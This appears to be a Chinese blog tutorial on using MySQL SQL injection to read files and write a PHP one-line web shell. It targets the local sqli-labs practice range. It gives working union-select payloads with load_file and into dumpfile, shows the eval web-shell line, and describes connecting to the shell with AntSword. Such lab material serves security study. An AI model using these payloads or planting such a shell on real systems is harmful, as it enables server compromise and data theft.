sql注入之文件的读写------上传一句话木马
2022/4/9 2:19:28
本文主要是介绍sql注入之文件的读写------上传一句话木马,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
sql注入文件的读写
一、mysql读写文件的基本条件
1、数据库允许读写文件
mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
所以要进行文件的读写是需要很高的权限,最好是root权限;
2、知道要读写位置的绝对路径
当我们要进行文件的读写时要知道绝对路径;当我们要往数据库里面写木马文件,就要知道数据库的绝对路径;
二、文件的读写语句基本格式
查询路径:@@datadir
读取文件:load_file()
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file('文件路径'),3 --+
例:id=-1' union select 1,load_file('C:\phpStudy\PHPTutorial\MySQL\my.ini'),2 -- -+
写入文件:into outfile()
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,'写入内容',3 into outfile '文件路径'--+
例:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\guo.php" --+
三、演示
这里以sqllabs靶场上的less-2做演示如何写入一句话木马;
进入页面,还是常规步骤判断显示位,子段数,由于这些都很简单我们就不再进行演示;
经过我们测试有三个字段,两个显示位;接下来我们可以通过@@datadir函数查询数据库的绝对路径;
payload:union select 1,2,@@datadir --+
这里我们查询得到了数据库的绝对路径,可以直接往数据库中写入一句话木马,但是由于知道这个less-7
的绝对路径也是为了更好的查询,所以我们直接在靶机的位置写入一句话木马;
但是由于靶机默认的 secure_file_priv=null,在这个权限下我们是无法写入文件的,所以我们要修改my.ini文件,在里面写入secure_file_priv=" "这样就不现在文件的读写;
修改后我们就可以写入木马文件了:
payload:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\test.php" --+
我们通过查看靶场文件位置发现木马文件已经成功写入;
接下来我们可以通过http://127.0.0.1/sqli-labs-master/Less-2/test.php跳转到木马文件位置
最后我们直接蚁剑连接后台;
我们已经可以通过木马文件连接后台,读取后台文件;
参考文章:http://t.csdn.cn/FYdhQ
http://t.csdn.cn/czSG9
这篇关于sql注入之文件的读写------上传一句话木马的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23Springboot应用的多环境打包入门
- 2024-11-23Springboot应用的生产发布入门教程
- 2024-11-23Python编程入门指南
- 2024-11-23Java创业入门:从零开始的编程之旅
- 2024-11-23Java创业入门:新手必读的Java编程与创业指南
- 2024-11-23Java对接阿里云智能语音服务入门详解
- 2024-11-23Java对接阿里云智能语音服务入门教程
- 2024-11-23JAVA对接阿里云智能语音服务入门教程
- 2024-11-23Java副业入门:初学者的简单教程
- 2024-11-23JAVA副业入门:初学者的实战指南